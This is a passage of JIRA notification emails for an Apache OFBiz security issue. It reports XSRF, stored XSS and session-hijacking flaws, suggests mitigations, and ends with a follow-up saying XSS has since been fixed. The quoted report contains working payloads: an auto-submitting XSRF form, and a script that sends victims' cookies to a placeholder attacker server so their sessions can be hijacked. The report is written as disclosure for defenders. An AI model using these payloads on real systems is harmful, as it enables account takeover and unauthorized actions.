> 3.: We can then create a little cookie-grabber servlet that listen for GET request from
> our victims, extract the useful parameters and store them in a file or DB, in a way
> that wen can hijack the session of the admin/manager.
>
> The internalName value is prone to store our malicious code also because his maxlength
> is 255 characters: this gives us a great advantage when creating a complex injection code,
> if we don't want to inject a link to the malicious script like
> <img src="http://x.x.x.x/malicious.js">
>
> The malicious code will look as the following one:
>
> <script>
> var str="http://ourHackServer/CookieWebServlet?cookie="+document.cookie+"&url="+document.URL;
> if(document.cookie.indexOf("done")<0)\{
>       document.cookie="done=true";
>       document.location.replace(str);
> }
> </script>
>
> Of course the code can be a lot shorter, and the "already-exploited-check" can be removed.
>
> After we have a valid JSESSIONID, if we open a browser, go to the grabbed URL (remember document.URL) that will be an
> authentication-required resource, the login page will ask us for valid credentials.
> In Opera (or Firefox with AnEC Cookie Editor plugin) we can see that a new cookie has been
> given to us, because we don't have one. If we modify the JSESSIONID value with the grabbed
> one, and we make the previous request another time (just refresh on the login page), then
> we are riding the same victim session. If we are lucky and it's an admin, we can do
> whatever we want on his/her behalf.
> +++++++++++++++++++++++|||Mitigation|||+++++++++++++++++++++++++
> Mitigation can be made in two ways:
>  - Infrastructure: a web application firewall like ModSecurity can be deployed in front of Tomcat, in enterprise deployments such as
> Apache --> mod_ajp --> Tomcat . This will don't fix XSRF attacks, but will mitigate XSS and Session Hijacking.
>  - Application:
> XSS--> input validation on form parameters and GET/POST request values must be implemented. I was thinking
> to do it in org.ofbiz.base.util.UtilValidate, re-using code from Owasp ESAPI project (a really good one), or re-using the ModSecurity
> Reg-expression patterns to filter out bad input.
> XSRF--> build a class that will implement javax.servlet.Filter and will add to every GET/POST request a random token that will be unique
> and will change every time. In this way (if the entropy is enough and the algorithm good, it will be quite impossible to guess it).
> Said all of that, we really support Ofbiz!

--
This message is automatically generated by JIRA.
-
You can reply to this email to add a comment to the issue online.

[Nicolas Malin (Jira)]

     [ https://issues.apache.org/jira/browse/OFBIZ-1959?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Michele Orru updated OFBIZ-1959:
--------------------------------


Hi developers.

As asked by Jaques a few days ago, I did a pen test on the latest ofbiz trunk and I can see that XSS has been well mitigated...
 will test for XSRF asap. Lack of free time right now :(

Good work David & Jaques

All the best

Michele

> Multiple Security Issues (XSRF, XSS, Session Hijacking): exploitation and mitigation
> ------------------------------------------------------------------------------------
>
>                 Key: OFBIZ-1959
>                 URL: https://issues.apache.org/jira/browse/OFBIZ-1959
>             Project: OFBiz
>          Issue Type: Bug
>          Components: ALL COMPONENTS
>    Affects Versions: Release Branch 9.04, SVN trunk
>            Reporter: Michele Orru
>            Priority: Critical
>             Fix For: Release Branch 9.04, SVN trunk
>
>
> +++++++++++++++++++++++|||Discovered security issues|||+++++++++++++++++++++++++
>
> 1.: Cross Site Request Forgery (XSRF) on almost every front/back-end requests
> 2.: reflected/stored XSS in search, ProductId/Product Internal name and so on
> 3.: Session Hijacking
> +++++++++++++++++++++++|||Exploitation|||+++++++++++++++++++++++++
> 1.: As can be verified with your favorite proxy tool (we use Burp), POST request
> parameters are never "fortified" to prevent XSRF: no random token protection can be seen.
> For those who don't know what a XSRF is: briefly it is a request that me, the attacker, force you (the victim)
> to executes.
>  - In GET requests it will be a link like http://x.x.x.x/account/doTransfer?from=666&to=667, where 666 is
> a potential victim account and 667 the attacker one.
>  - In POST requests it will be an auto-submit form or a XMLHttpRequest
> (if we would like to be more sophisticated).
> I can force a victim to execute such a request in various methods, whose description is out from the scope of this ISSUE:
> malicious mail link, link in chat programs, malicious pages, man in the middle attacks, malicious Flash/Applets/ActiveX, and so on.
> The quick-and dirty code to make the XSRF attack looks as the following innocuous one:
>
> <form method="POST" id="xsrf" name="xsrf"
>           action="https://127.0.0.1:8443/catalog/control/createProduct">
>        <input type=hidden name="isCreate" value="true">
>        <input type=hidden name="productId" value="hack02">
>        <input type=hidden name="productTypeId" value="DIGITAL_GOOD">
>        <input type=hidden name="internalName" value="hack02">
>        </form>  
> <script>document.xsrf.submit(); </script>
> Of course the product-creation mechanism is not finished (we need price, content and ProductName),
> but is just to let you understand.
> When this JS code will be present in a malicious page (opened by a new tab of the same browser - not Chrome ahah),
> his content will be automatically executed and the POST request will be sent to the application: the product with Id=hack02
> will be persisted inside the DB. Of course a valid party must be logged in the catalog module, in a way
> that the global JSESSIONID cookie value will be the same in every tab of the browser.  
> Clearly we can do more than this...
> 2.: As most of the Ofbiz forms are vulnerable to XSS, some reflected and some stored,
> exploit them is quite easy: we will exploited only stored ones.
> We can for instance replace the value of internalName (that even if it is a needed
> parameter is quite un-useful and so prone to store our malicious code) with something
> like:
>
> <input type=hidden name="internalName"
> value="<script>alert(document.cookie)</script>">
>
> The malicious code will display every cookie information in a pop-up, that only the victim
> will see: obviously we don't want this.
> 3.: We can then create a little cookie-grabber servlet that listen for GET request from
> our victims, extract the useful parameters and store them in a file or DB, in a way
> that wen can hijack the session of the admin/manager.
>
> The internalName value is prone to store our malicious code also because his maxlength
> is 255 characters: this gives us a great advantage when creating a complex injection code,
> if we don't want to inject a link to the malicious script like
> <img src="http://x.x.x.x/malicious.js">
>
> The malicious code will look as the following one:
>
> <script>
> var str="http://ourHackServer/CookieWebServlet?cookie="+document.cookie+"&url="+document.URL;
> if(document.cookie.indexOf("done")<0)\{
>       document.cookie="done=true";
>       document.location.replace(str);
> }
> </script>
>
> Of course the code can be a lot shorter, and the "already-exploited-check" can be removed.
>
> After we have a valid JSESSIONID, if we open a browser, go to the grabbed URL (remember document.URL) that will be an
> authentication-required resource, the login page will ask us for valid credentials.
> In Opera (or Firefox with AnEC Cookie Editor plugin) we can see that a new cookie has been
> given to us, because we don't have one. If we modify the JSESSIONID value with the grabbed
> one, and we make the previous request another time (just refresh on the login page), then
> we are riding the same victim session. If we are lucky and it's an admin, we can do
> whatever we want on his/her behalf.
> +++++++++++++++++++++++|||Mitigation|||+++++++++++++++++++++++++
> Mitigation can be made in two ways:
>  - Infrastructure: a web application firewall like ModSecurity can be deployed in front of Tomcat, in enterprise deployments such as
> Apache --> mod_ajp --> Tomcat . This will don't fix XSRF attacks, but will mitigate XSS and Session Hijacking.
>  - Application:
> XSS--> input validation on form parameters and GET/POST request values must be implemented. I was thinking
> to do it in org.ofbiz.base.util.UtilValidate, re-using code from Owasp ESAPI project (a really good one), or re-using the ModSecurity
> Reg-expression patterns to filter out bad input.
> XSRF--> build a class that will implement javax.servlet.Filter and will add to every GET/POST request a random token that will be unique
> and will change every time. In this way (if the entropy is enough and the algorithm good, it will be quite impossible to guess it).
> Said all of that, we really support Ofbiz!

--
This message is automatically generated by JIRA.
-
You can reply to this email to add a comment to the issue online.